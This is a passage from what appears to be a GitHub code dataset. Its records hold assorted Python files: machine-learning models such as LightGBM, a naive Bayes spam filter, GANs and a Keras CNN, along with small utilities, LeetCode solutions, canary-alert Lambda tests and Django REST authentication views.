['post1', 'post3', 'post5', 'y1', 'y2', 'y3']\n        ft_cols = list(set(data.columns.tolist()) - set(cp_col + data_col + y_cols))\n\n        X = data[ft_cols].to_numpy()\n\n        return X\n\n    def train(self):\n        self.X, self.Y = self.get_train_data()\n        x_train, x_test, y_train, y_test = train_test_split(self.X, self.Y, test_size=0.25)\n        gbm = lgb.LGBMClassifier()\n\n        gbm.fit(x_train, y_train)\n\n        y_pre = gbm.predict(x_test, num_iteration=gbm.best_iteration_)\n\n        self.acc = metrics.accuracy_score(y_test, y_pre)\n        self.precision = metrics.precision_score(y_test, y_pre)\n        self.recall = metrics.recall_score(y_test, y_pre)\n        self.f1_score = metrics.f1_score(y_test, y_pre)\n        self.auc = metrics.roc_auc_score(y_test, y_pre)\n        self.total_num = y_test.shape[0]\n        self.p_num = y_test.reshape(-1, ).sum()\n        self.n_num = self.total_num - self.p_num\n        self.pp_num = y_pre.reshape(-1, ).sum()\n        self.pn_num = self.total_num - self.pp_num\n        self.cf_mt = metrics.confusion_matrix(y_test, y_pre)\n\n        self.model = gbm\n        return gbm\n\n\n    def predict(self, data=None):\n        x = self.get_predict_data(data)\n\n        y_pre = self.model.predict(x)\n        return y_pre","repo_name":"qianxun-moder/AlgorithmicTrading","sub_path":"model/_my_model2.py","file_name":"_my_model2.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74446571310","text":"import pymongo\nimport json\n\nfile_path = '/home/estudiante/project/web-server/tweets/@VickyDavilaH.json'\n\ndef loadFile():\n\twith open(file_path) as data_file:\n\t\tfile_str = data_file.read()\n\t\tfile_str = '[' + file_str + ']'\n\t\tfile_str = file_str.replace('}{','},{')\n\t\treturn json.loads(file_str)\n\nclient = pymongo.MongoClient(\"mongodb://clusterbigdata.placeholder.edu\")\ndb = client.Grupo04\n\ntweets = loadFile()\nfor batch in tweets:\n\tfor status in batch['statuses']:\n\t\tdb.tweets.insert_one(status)\n\t\n","repo_name":"Illuminae/bigdata_coursework","sub_path":"Assignment 3 - Twitter sentiment analysis using MongoDB/web-server/tweetLoader.py","file_name":"tweetLoader.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"70341300271","text":"\"\"\"\nThe power of the string is the maximum length of a non-empty substring that contains only one unique character.\nGiven a string s, return the power of s.\n\nInput: s = \"abbcccddddeeeeedcba\"\nOutput: 5\nExplanation: The substring \"eeeee\" is of length 5 with the character 'e' only.\n\"\"\"\n\n\n\nclass Solution:\n    def maxPower(self, s: str) -> int:\n        N = len(s)\n        cur = 1\n        max_length = 1\n        for i in range(1,N):\n            if (s[i] == s[i-1]):\n                cur += 1\n            else:\n                max_length = max(max_length,cur)\n                cur = 1\n        max_length = max(max_length,cur)\n        return max_length\n    def maxPower1(self, s: str) -> int:\n        left = 0\n        right = 0\n        N = len(s)\n        max_length = 0\n        while (left <= right and right < N):\n            while (right < N and s[left] == s[right]):\n                \n                right += 1\n            max_length = max(max_length, right-1-left+1)\n            left = right\n        return max_length\n    \ns = \"abbcccddddeeeeedcba\"\nmax_length = Solution().maxPower(s)\nprint(max_length)","repo_name":"chloe-qq/Leetcode-learning","sub_path":"Two_Pointers/lc_1446.py","file_name":"lc_1446.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29532278967","text":"handle = open(\"data/m_cold.fasta\", \"r\")\nhandle.readline()\n\nfrom Bio import SeqIO\nfor record in SeqIO.parse(\"data/m_cold.fasta\", \"fasta\"):\n    print(record.id, len(record))\n\nfrom Bio import SeqIO\nhandle = open(\"data/m_cold.fasta\", \"r\")\nfor record in SeqIO.parse(handle, \"fasta\"):\n    print(record.id, len(record))\nhandle.close()\n\nmy_info = 'A string\\n with multiple lines.'\nprint(my_info)\n\nfrom io import StringIO\nmy_info_handle = StringIO(my_info)\nfirst_line = my_info_handle.readline()\nprint(first_line)\n\nsecond_line = my_info_handle.readline()\nprint(second_line)\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/23 - Appendix, Useful stuff about Python.py","file_name":"23 - Appendix, Useful stuff about Python.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"72456006192","text":"from unittest.mock import patch\n\nimport pytest\nfrom conftest import (\n    BUCKET_NAME,\n    LOGFILE_NO_GGCANARY,\n    LOGFILE_W_GGCANARY,\n    make_trigger_event,\n)\n\nfrom lambda_py import lambda_function\nfrom lambda_py.notifiers.ses_notifier import SESNotifier\nfrom lambda_py.notifiers.webhook_notifier import IWebhookNotifier\n\n\n@pytest.mark.parametrize(\n    \"key,nb_records\",\n    (\n        (LOGFILE_W_GGCANARY, 3),\n        (LOGFILE_NO_GGCANARY, 3),\n    ),\n)\ndef test_fetch_logs(key, nb_records):\n    records = lambda_function.fetch_log_records(bucket=BUCKET_NAME, key=key)\n    assert len(records) == nb_records\n\n\ndef test_get_report_entries_ggcanary():\n    records = lambda_function.fetch_log_records(\n        bucket=BUCKET_NAME, key=LOGFILE_W_GGCANARY\n    )\n    report_entries = lambda_function.get_report_entries(records)\n    assert len(report_entries) == 2\n\n\ndef test_get_report_entries_no_ggcanary():\n    records = lambda_function.fetch_log_records(\n        bucket=BUCKET_NAME, key=LOGFILE_NO_GGCANARY\n    )\n    report_entries = lambda_function.get_report_entries(records)\n    assert len(report_entries) == 0\n\n\n@patch.object(SESNotifier, \"send_notification\")\n@patch.object(IWebhookNotifier, \"send_notification\")\ndef test_lambda_handler_called(\n    mock_method_1,\n    mock_method_2,\n    mock_ses_validation,\n):\n\n    notifiers = lambda_function.load_notifiers()\n    assert len(notifiers) == 3\n    assert notifiers[0].__class__ == SESNotifier\n\n    event = make_trigger_event(bucket_name=BUCKET_NAME, key=LOGFILE_W_GGCANARY)\n    lambda_function.handler(event)\n    mock_method_1.assert_called()\n    mock_method_2.assert_called()\n\n\n@patch.object(SESNotifier, \"send_notification\")\n@patch.object(IWebhookNotifier, \"send_notification\")\ndef test_lambda_handler_not_called(\n    mock_method_1,\n    mock_method_2,\n):\n\n    notifiers = lambda_function.load_notifiers()\n    assert len(notifiers) == 3\n    assert notifiers[0].__class__ == SESNotifier\n\n    event = make_trigger_event(bucket_name=BUCKET_NAME, key=LOGFILE_NO_GGCANARY)\n    lambda_function.handler(event)\n    mock_method_1.assert_not_called()\n    mock_method_2.assert_not_called()\n","repo_name":"GitGuardian/ggcanary","sub_path":"lambda/tests/test_lambda.py","file_name":"test_lambda.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","stars":116,"dataset":"github-code","pt":"38"}
{"seq_id":"11465063281","text":"\"\"\"\nAidan Duffy\nClass: CS 521 - Fall 2\nDate: December 8, 2020\nHomework Problem 5.6.3\nDescription: This takes in three numbers and performs some quick calculations.\n\"\"\"\n\ndef main():\n    nums = input(\"Please input 3 numbers separated by commas (ie 1,2,3): \")\n    num_array = []\n    try:\n        num_str_array = nums.split(\",\")\n        for i in range(0,3):\n            num_array.append(float(num_str_array[i]))\n        if num_array[1] == 0:\n            print(\"You are attempting to divide by zero!\")\n            raise Exception(ZeroDivisionError)\n    except:\n        print(\"Please try again with 3 numbers, separated by commas!\")\n        raise Exception(ValueError)\n    answer = (num_array[0]/num_array[1]) + num_array[2]\n    print(num_array[0], \"/\", num_array[1], \"+\", num_array[2], \"=\", '{:.2f}'.format(answer))\n\nif __name__ == \"__main__\":\n    main()","repo_name":"AidanDuffy/BUMETMSSD","sub_path":"Fall-2-2020/521/Homework/Week 5/anduffy_hw_5_6_3.py","file_name":"anduffy_hw_5_6_3.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"7058275684","text":"from collections import defaultdict\nfrom math import log\n\nfrom trainingUtils import *\n\nimport numpy as np\n\n\n# 多项式模型\nclass MultinomialNB(object):\n\n    def __init__(self, alpha=1.0):\n        self.word_count = 0\n        self.vocab = []\n        self.prior_prob = []\n        self.alpha = alpha\n        self.classes = None\n        self.conditional_prob = None\n        self.count = []\n\n    def words2vec(self, vocabList, inputSet):\n        return_vec = [0] * len(vocabList)\n        for word in inputSet:\n            if word in vocabList:\n                return_vec[vocabList.index(word)] += 1\n\n        return return_vec\n\n    # 构造向量空间\n    def make_vec(self, ham_path='./email/ham', spam_path='./email/spam', train=False):\n        words_ham, vocab_ham = load_file(ham_path)\n        words_spam, vocab_spam = load_file(spam_path)\n        self.count.append(len(words_ham))\n        self.count.append(len(words_spam))\n        self.word_count = self.count[0] + self.count[1]\n        return self.vectorize(words_ham, words_spam, vocab_ham, vocab_spam, train)\n\n    def make_vec_from_list(self, ham_list, spam_list, train=False):\n        print(\"loading ham files...\")\n        words_ham, vocab_ham = load_file_from_list(ham_list)\n        print(\"loading spam files...\")\n        words_spam, vocab_spam = load_file_from_list(spam_list)\n        self.count.append(len(words_ham))\n        self.count.append(len(words_spam))\n        self.word_count = self.count[0] + self.count[1]\n        return self.vectorize(words_ham, words_spam, vocab_ham, vocab_spam, train)\n\n    def vectorize(self, words_ham, words_spam, vocab_ham, vocab_spam, train):\n        tmp = set([])\n        if train:\n            self.vocab = vocab_ham | vocab_spam\n        else:\n            tmp = (vocab_ham | vocab_spam) - self.vocab\n        vo = list(self.vocab) + list(tmp)\n        labels = []\n        X = []\n        for document in words_ham:\n            labels.append(0)\n            X.append(self.words2vec(vo, document))\n\n        for document in words_spam:\n            labels.append(1)\n            X.append(self.words2vec(vo, document))\n\n        X = np.array(X)\n        y = np.array(labels)\n        return X, y\n\n    def fit(self, X, y):\n        self.classes = np.unique(y)\n        self.update_prior_prob(y)\n        # P( xj | y=ck )\n        self.conditional_prob = {}\n        for c in self.classes:\n            self.conditional_prob[c] = defaultdict(lambda: defaultdict(lambda: log(0.5)))\n            for i in range(len(X[0])):\n                feature = X[np.equal(y, c)][:, i]\n                # print(np.equal(y,c))\n                # print(X[np.equal(y, c)])\n                self.conditional_prob[c][i] = self.update_feature_prob(feature, c)\n        return self\n\n    def update_prior_prob(self, y):\n        # P(y=ck)\n        class_num = len(self.classes)\n\n        sample_num = self.word_count\n        for c in self.classes:\n            self.prior_prob.append(log(self.count[c] + self.alpha) - log(sample_num + class_num * self.alpha))\n\n    def update_feature_prob(self, feature, c):\n        values = np.unique(feature)\n        total = self.count[c]\n        prob = defaultdict(lambda: log(self.alpha) - log(total + len(values) * self.alpha))\n        for v in values:\n            prob[v] = log(np.sum(np.equal(feature, v)) + self.alpha) - log(total + len(values) * self.alpha)\n            # print(prob[v])\n        return prob\n\n    def predict_sample(self, x):\n        label = -1\n        max_prob = -999\n\n        # 先验概率*条件概率\n        for index in range(len(self.classes)):\n            label_tmp = self.classes[index]\n            prior = self.prior_prob[index]\n            conditional = 0.0\n            feature_prob = self.conditional_prob[label_tmp]\n            # print(feature_prob)\n            for i in range(len(feature_prob)):\n                conditional += feature_prob[i][x[i]]\n                # if feature_prob[i][x[i]] > 0:\n                #     print(feature_prob[i][x[i]])\n\n            # argmax\n            if prior + conditional > max_prob:\n                max_prob = prior + conditional\n                label = label_tmp\n\n        return label\n\n    def predict(self, X):\n        labels = []\n        for i in range(X.shape[0]):\n            label = self.predict_sample(X[i])\n            labels.append(label)\n        return labels\n","repo_name":"rycbar77/SpamFilter","sub_path":"multinomialNB.py","file_name":"multinomialNB.py","file_ext":"py","file_size_in_byte":4320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"14016122243","text":"##store lines function to  import file and store each line into a list\ndef store_lines():\n    ##list creation\n    st_list= []\n    print('Normal Text:')\n    ##open sample tect as variable text\n    with open('sample.txt') as text:\n        #loop to iterate through sample.txt lines and store them to list\n        while True:\n            ##store lines in the sample text to variable called lines\n            lines = text.readline()\n            ##strip white space at begining and end\n            lines.strip()\n            ##print the original document\n            print(lines)\n            #insert the lines from sample.txt at st_list at pointer 0 to reverse list\n            st_list.insert(0, lines)\n            #break case\n            if not lines:\n                break\n    #return st_list to print_story function\n    print_story(st_list)\n\n##print story function to return function \ndef print_story(st_list):\n    ##reverse string created with no entry\n    reverse = ''\n    ##for loop to iterate over st_list to join list to string\n    for i in st_list:\n                line=str(i)\n                ##enter new line for spacing\n                reverse += \"\\n\"\n                ##compound the line to the reverse string variable to make one string\n                reverse += line\n    ## print the reversed string\n    print(\"Reversed Text:\")\n    print(reverse)\n\n##call first function\nstore_lines()\n","repo_name":"Anna71194/Tip-calculator","sub_path":"REVERSESTRING/reverse_line_txt.py","file_name":"reverse_line_txt.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"33083853597","text":"import os\n\n\n\ndef memory_usage(path):\n  print(f'PathL {path}')\n\n  # check for file/folder exisiting\n  if not os.path.exists(path):\n    return 0\n\n  total = os.path.getsize(path)\n\n  if os.path.isdir(path):\n    for filename in os.listdir(path):\n      file_path = os.path.join(path, filename)\n      total += memory_usage(file_path)\n\n  return total\n\n\nprint(memory_usage('/Users/poval/practice/algorithms'))","repo_name":"povalish/algorithms","sub_path":"recursions/disk_usage.py","file_name":"disk_usage.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"11222600190","text":"class Solution:\n    def permuteUnique(self, nums: List[int]) -> List[List[int]]:\n        def v1(nums):\n            vis =set()\n            if len(nums)<=1:\n                return [nums]\n            else:\n                res = []\n                for i in range(len(nums)):\n                    if nums[i] not in vis:\n                        tli = [ [nums[i]] + el for el in v1(nums[:i]+nums[i+1:])]\n                        vis.add(nums[i])\n                        res.extend(tli)\n                return res\n        return v1(sorted(nums))","repo_name":"ls1248659692/leetcode","sub_path":"spider/raw/47-permutations-ii/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":595,"dataset":"github-code","pt":"38"}
{"seq_id":"14580059133","text":"import pygame\n\nfrom src.runner import Runner\nfrom src.enumtypes import Direction\nfrom src.gridutil import grid_index\n\n\nclass Player(Runner):\n    \"\"\"This is the class for a player running around on the grid\"\"\"\n\n    def __init__(self, cfg, screen):\n        \"\"\"Constructor for the Player class\"\"\"\n        self.caught = False\n\n        super().__init__(cfg, screen)\n\n    def draw(self):\n        \"\"\"Draws the player\"\"\"\n        if self.x is not None and self.y is not None:\n            x = int(self.x * self.cfg.grid_height + self.cfg.grid_origin[0] + 0.5)\n            y = int(self.y * self.cfg.grid_height + self.cfg.grid_origin[1] + 0.5)\n\n            if self.caught:\n                color = self.cfg.player_color_caught\n            else:\n                color = self.cfg.player_color\n\n            pygame.draw.circle(self.screen, color, (x, y), int(.5 * self.cfg.player_size), 0)\n\n    def update_position(self, dt_ms):\n        \"\"\"updates the position of the player\"\"\"\n\n        if dt_ms > 0 and not self.caught:\n            # reset the node visited (but only if it's not the second part of a partial movement)\n            if self.dt_ms_rem == 0:\n                self.node_visited_x = None\n                self.node_visited_y = None\n\n            node_crossed = False\n\n            can_move = self.can_move_on()\n\n            # backup from the the player started moving\n            x_start = self.x\n            y_start = self.y\n\n            if can_move:\n                node_crossed = self.move(dt_ms)\n\n            if x_start != self.x or y_start != self.y:\n                # need to update the corresponding gridline\n                self.update_gridline_done((x_start, y_start), (self.x, self.y))\n\n            # if a node was crossed in the movement above then another move has to be executed\n            # (but since the remaining time was recorded internally we don't have to worry\n            # about what's remaining)\n            if node_crossed:\n                # there's a movement direction change \"queued\". Apply it now. The player risks\n                # that this will lead to no movement, because it's not possible. But this has\n                # to be left to the player!\n\n                old_direction = self.move_direction\n                old_vel = self.vel\n\n                if self.next_direction is not None:\n                    self.move_direction = self.next_direction\n                    self.next_direction = None\n\n                can_move = self.can_move_on()\n\n                if can_move:\n                    self.move(0)\n                else:\n                    # restore the previous (i.e. current) movement and continue with it if possible. If\n                    # possible then the commanded direction change has to be applied later. If cannot continue\n                    # with the previous (i.e. current) movement then stand still\n                    self.vel = old_vel\n                    self.next_direction = self.move_direction\n                    self.move_direction = old_direction\n\n                    if self.can_move_on():\n                        self.move(0)\n                    else:\n                        self.vel = 0\n                        self.move_direction = None\n                        self.next_direction = None\n\n            self.dt_ms_rem = 0\n\n    def command_direction(self, new_move_direction):\n        \"\"\"Changes the movement direction of the player (only if allowed!)\"\"\"\n        self.next_direction = None  # reset the \"queued\" movement change\n        if self.vel == 0:\n            # check if we can start moving in a certain direction\n            self.vel = self.cfg.speed\n            self.move_direction = new_move_direction\n            if not self.can_move_on():\n                # cannot move in the desired direction: therefore reset the movement\n                self.vel = 0\n                self.move_direction = None\n        elif self.move_direction != new_move_direction:\n            # the player is already moving, let's check if the new commanded direction is immediately taking action\n            # or if we just store it\n            if (self.move_direction == Direction.up and new_move_direction == Direction.down) or \\\n                    (self.move_direction == Direction.down and new_move_direction == Direction.up) or \\\n                    (self.move_direction == Direction.right and new_move_direction == Direction.left) or \\\n                    (self.move_direction == Direction.left and new_move_direction == Direction.right):\n                # a reverse of the direction is commanded, this can immediately by applied\n                self.move_direction = new_move_direction\n            else:\n                # command is \"queued\" for later action at the next node\n                self.next_direction = new_move_direction\n\n    def update_gridline_done(self, p1, p2):\n        \"\"\"Updates the gridlines to mark the next piece as done\"\"\"\n        ix_v = None\n        ix_h = None\n        if p1[0] != int(p1[0]) or p1[1] != int(p1[1]):\n            ix_v, ix_h = grid_index(p1[0], p1[1])\n            x_ref = int(p1[0])\n            y_ref = int(p1[1])\n        elif p2[0] != int(p2[0]) and p2[1] != int(p2[1]):\n            ix_v, ix_h = grid_index(p2[0], p2[1])\n            x_ref = int(p2[0])\n            y_ref = int(p2[1])\n\n        if (ix_v is not None) and (ix_h is not None):\n            if self.move_direction == Direction.up or self.move_direction == Direction.down:\n                self.grid.gridlines[ix_v][ix_h].update(p1[1] - y_ref, p2[1] - y_ref)\n            else:\n                self.grid.gridlines[ix_v][ix_h].update(p1[0] - x_ref, p2[0] - x_ref)\n","repo_name":"kaespi/minigame","sub_path":"src/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":5613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"21667590433","text":"import os\nimport abc\n\nimport matplotlib.pyplot as plt\nimport torch\nimport torchvision\nfrom torch.utils.tensorboard import SummaryWriter\nfrom tqdm import tqdm\n\n\nclass GANTrainer:\n\n    def __init__(self, generator, discriminator, g_optimizer, d_optimizer,\n                 n_latent=100, device='cpu', writer=None, model_path=None, output_dir=None,\n                 ):\n        self._generator = generator.to(device)\n        self._discriminator = discriminator.to(device)\n        self._device = device\n        self._g_optimizer = g_optimizer\n        self._d_optimizer = d_optimizer\n        self._writer = writer\n        self._model_path = model_path\n        self._output_dir = output_dir\n        self._n_latent = n_latent\n\n        self._global_step = 0\n        self._z_fixed = torch.autograd.Variable(torch.randn(64, self._n_latent)).to(self._device)\n\n        self._writer = SummaryWriter(log_dir=self._model_path)\n\n    @abc.abstractmethod\n    def _d_loss(self, real_logits, fake_logits, real_images, fake_images):\n        raise NotImplementedError()\n\n    @abc.abstractmethod\n    def _g_loss(self, fake_logits):\n        raise NotImplementedError()\n\n    @abc.abstractmethod\n    def _clip_weights(self):\n        pass\n\n    def train(self, train_loader, n_epochs=1, n_critic=8, interval=100):\n        for epoch in range(n_epochs):\n            d_loss = g_loss = 0.0\n            for i, data in enumerate(tqdm(train_loader)):\n                img = data.to(self._device)\n                batch_size = img.shape[0]\n\n                # Train D\n                self._discriminator.train()\n                self._discriminator.zero_grad()\n                z = torch.autograd.Variable(torch.randn(batch_size, self._n_latent)).to(self._device)\n                real_image = img\n                real_logits = self._discriminator(real_image)\n\n                fake_image = self._generator(z)\n                fake_logits = self._discriminator(fake_image)\n\n                d_loss = self._d_loss(real_logits, fake_logits, real_image, fake_image)\n\n                d_loss.backward()\n                self._d_optimizer.step()\n\n                self._clip_weights()\n\n                # Train G\n                # train generator every n_critic steps\n                if self._global_step % n_critic == 0:\n                    self._generator.train()\n                    z = torch.autograd.Variable(torch.randn(batch_size, self._n_latent)).to(self._device)\n                    fake_image = self._generator(z)\n                    fake_logits = self._discriminator(fake_image)\n                    g_loss = self._g_loss(fake_logits)\n\n                    self._generator.zero_grad()\n                    g_loss.backward()\n                    self._g_optimizer.step()\n\n                if self._global_step % interval == 0:\n                    self._generator.eval()\n                    fake_images = (self._generator(self._z_fixed).data + 1) / 2\n                    self._writer.add_scalar('d_loss', d_loss.item(), self._global_step)\n                    self._writer.add_scalar('g_loss', g_loss.item(), self._global_step)\n                    self._writer.add_image('fake_image', torchvision.utils.make_grid(fake_images), self._global_step)\n\n                self._global_step += 1\n\n            print(f'Discriminator Loss: {d_loss.data:.4f}, Generator Loss: {g_loss.data:.4f}')\n\n            if self._model_path:\n                torch.save(self._generator.state_dict(), os.path.join(self._model_path, 'generator.pth'))\n                torch.save(self._discriminator.state_dict(), os.path.join(self._model_path, 'discriminator.pth'))\n\n\nclass VanillaGANTrainer(GANTrainer):\n\n    def __init__(self, generator, discriminator, g_optimizer, d_optimizer, criterion,\n                 n_latent=100, device='cpu', writer=None, model_path=None, output_dir=None,\n                 ):\n        super().__init__(generator, discriminator, g_optimizer, d_optimizer,\n                         n_latent, device, writer, model_path, output_dir)\n        self._criterion = criterion\n\n    def _d_loss(self, real_logits, fake_logits, real_images, fake_images):\n        real_labels = torch.ones(real_logits).to(self._device)\n        real_loss = self._criterion(real_logits, real_labels)\n        fake_labels = torch.zeros(fake_logits).to(self._device)\n        fake_loss = self._criterion(fake_logits, fake_labels)\n        return real_loss + fake_loss\n\n    def _g_loss(self, fake_logits):\n        fake_labels = torch.ones(fake_logits).to(self._device)\n        return self._criterion(fake_logits, fake_labels)\n\n\nclass WGANTrainer(GANTrainer):\n\n    def __init__(self, generator, discriminator, g_optimizer, d_optimizer,\n                 n_latent=100, device='cpu', writer=None, model_path=None, output_dir=None, clip_value=0.01):\n        super().__init__(generator, discriminator, g_optimizer, d_optimizer,\n                         n_latent, device, writer, model_path, output_dir)\n        self._clip_value = clip_value\n\n    def _d_loss(self, real_logits, fake_logits, real_images, fake_images):\n        return -torch.mean(real_logits) + torch.mean(fake_logits)\n\n    def _g_loss(self, fake_logits):\n        return -torch.mean(fake_logits)\n\n    def _clip_weights(self):\n        for p in self._discriminator.parameters():\n            p.data.clamp_(-self._clip_value, self._clip_value)\n\n\nclass GPGANTrainer(GANTrainer):\n\n    def __init__(self, generator, discriminator, g_optimizer, d_optimizer,\n                 n_latent=100, device='cpu', writer=None, model_path=None, output_dir=None, gp_weight=10,\n                 ):\n        super().__init__(generator, discriminator, g_optimizer, d_optimizer,\n                         n_latent, device, writer, model_path, output_dir)\n        self._gp_weight = gp_weight\n\n    def _gradient_penalty(self, real, fake):\n        batch_size = real.shape[0]\n        # choose random interpolation point\n        alpha = torch.rand(batch_size, 1, 1, 1).to(self._device)\n        interpolates = (alpha * real + ((1 - alpha) * fake)).requires_grad_(True)\n        # calculate probability of interpolates\n        interpolates_prob = self._discriminator(interpolates)\n        # calculate gradients of probabilities with respect to interpolates\n        fake = torch.autograd.Variable(torch.ones(interpolates_prob.size()), requires_grad=True).to(self._device)\n        gradients = torch.autograd.grad(outputs=interpolates_prob, inputs=interpolates,\n                                        grad_outputs=fake, create_graph=True, retain_graph=True, only_inputs=True)[0]\n        gradients = gradients.view(batch_size, -1)\n        gradient_penalty = ((gradients.norm(2, dim=1) - 1) ** 2).mean()\n        return gradient_penalty\n\n    def _d_loss(self, real_logits, fake_logits, real_images, fake_images):\n        gradient_penalty = self._gp_weight * self._gradient_penalty(real_images, fake_images)\n        return -torch.mean(real_logits) + torch.mean(fake_logits) + gradient_penalty\n\n    def _g_loss(self, fake_logits):\n        return -torch.mean(fake_logits)\n\n\n","repo_name":"zizhazhu/lhy-homework","sub_path":"src/util/train/gan_trainer.py","file_name":"gan_trainer.py","file_ext":"py","file_size_in_byte":6994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"17180344876","text":"import tensorflow as td\r\nfrom tensorflow.keras.layers import Dense,Flatten,Conv2D,MaxPooling2D\r\nimport pickle\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.callbacks import TensorBoard\r\nimport time\r\nimport os\r\nimport numpy as np\r\n\r\nNAME='Dog VS CAT_{}'.format(str(time.time()))\r\nprint(str(time.time()))\r\n\r\ntensorboard=TensorBoard(log_dir='logs\\{}'.format(NAME))\r\n\r\nprint(os.getcwd())\r\nX_in=open('X.pickle','rb')\r\nX=pickle.load(X_in)\r\nX_in.close()\r\n\r\n\r\nY_in=open('Y.pickle','rb')\r\nY=pickle.load(Y_in)\r\nY_in.close()\r\n\r\nX=X/255.0\r\n\r\nmodel=Sequential()\r\n\r\nmodel.add(Conv2D(64,(3,3),input_shape=X.shape[1:],activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2,2)))\r\n\r\nmodel.add(Conv2D(64,(3,3),activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2,2)))\r\n\r\nmodel.add(Flatten())\r\n\r\nmodel.add(Dense(64,activation='relu'))\r\nmodel.add(Dense(1,activation='sigmoid'))\r\n\r\nmodel.compile(loss='binary_crossentropy',optimizer='adam',metrics=['accuracy']\r\n              )\r\nY=np.array(Y)\r\nmodel.fit(X,Y,epochs=3,validation_split=0.2,callbacks=[tensorboard])\r\n","repo_name":"KaparaA/Sentdex-DL","sub_path":"Tutorial_4.py","file_name":"Tutorial_4.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"17644450575","text":"from django.contrib.auth.tokens import default_token_generator\nfrom django.core.mail import send_mail\nfrom django.db.models import Avg\nfrom django.shortcuts import get_object_or_404\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework import filters, permissions, status, viewsets\nfrom rest_framework.decorators import action, api_view, permission_classes\nfrom rest_framework.response import Response\nfrom rest_framework_simplejwt.tokens import AccessToken\nfrom reviews.models import Category, Genre, Review, Title\nfrom users.models import User\n\nfrom .filters import TitleFilter\nfrom .mixins import MasterViewSet\nfrom .permissions import (IsAdminModerAuthor, IsAdminOrSuper,\n                          IsAdminUserOrReadOnly)\nfrom .serializers import (CategorySerializer, CommentSerializer,\n                          ConfirmationCodeSerializer, GenreSerializer,\n                          ReviewSerializer, SignUpSerializer,\n                          TitleReadSerializer, TitleSerializer,\n                          UserMeSerializer, UsersSerializer)\n\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef sign_up(request):\n    serializer = SignUpSerializer(data=request.data)\n    if serializer.is_valid(raise_exception=True):\n        email = serializer.validated_data['email']\n        username = serializer.validated_data['username']\n        user, create = User.objects.get_or_create(\n            email=email,\n            username=username\n        )\n        confirmation_code = default_token_generator.make_token(user)\n        user.confirmation_code = confirmation_code\n        user.save()\n        send_mail(\n            'Введите код для продолжения регистрации',\n            confirmation_code,\n            'admin@gmail.com',\n            [email],\n            fail_silently=False,\n        )\n        return Response(serializer.data, status=status.HTTP_200_OK)\n    return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef getting_token(request):\n    serializer = ConfirmationCodeSerializer(data=request.data)\n    if not serializer.is_valid(raise_exception=True):\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n    username = serializer.validated_data['username']\n    confirmation_code = serializer.validated_data['confirmation_code']\n    user = get_object_or_404(User, username=username)\n    if not default_token_generator.check_token(user, confirmation_code):\n        return Response(serializer.errors,\n                        status=status.HTTP_400_BAD_REQUEST)\n    token = str(AccessToken.for_user(user))\n    content = {'token': token}\n    return Response(content, status=status.HTTP_201_CREATED)\n\n\nclass UsersViewSet(viewsets.ModelViewSet):\n    queryset = User.objects.all()\n    serializer_class = UsersSerializer\n    permission_classes = (permissions.IsAuthenticated, IsAdminOrSuper,)\n    filter_backends = (filters.SearchFilter,)\n    filterset_fields = ('username',)\n    search_fields = ('username',)\n    lookup_field = 'username'\n\n    @action(\n        methods=['GET', 'PATCH'],\n        detail=False,\n        url_path='me',\n        permission_classes=(permissions.IsAuthenticated,)\n    )\n    def me(self, request):\n        user = get_object_or_404(User, username=self.request.user)\n        if request.method == 'GET':\n            serializer = UserMeSerializer(user)\n            return Response(serializer.data, status=status.HTTP_200_OK)\n        if request.method == 'PATCH':\n            serializer = UserMeSerializer(user,\n                                          data=request.data,\n                                          partial=True)\n            serializer.is_valid(raise_exception=True)\n            serializer.save()\n            return Response(serializer.data, status=status.HTTP_200_OK)\n\n\nclass CategoryViewSet(MasterViewSet):\n    \"\"\"Viewset для объектов модели Category.\"\"\"\n    queryset = Category.objects.all()\n    serializer_class = CategorySerializer\n\n    @action(\n        methods=['DELETE'],\n        detail=False,\n        url_path=r'(?P<slug>[-a-zA-Z0-9_]+)',\n        url_name='delete_category'\n    )\n    def delete_category(self, request, slug):\n        category = get_object_or_404(Category, slug=slug)\n        category.delete()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass GenreViewSet(MasterViewSet):\n    \"\"\"Viewset для объектов модели Genre.\"\"\"\n    queryset = Genre.objects.all()\n    serializer_class = GenreSerializer\n\n    @action(\n        methods=['DELETE'],\n        detail=False,\n        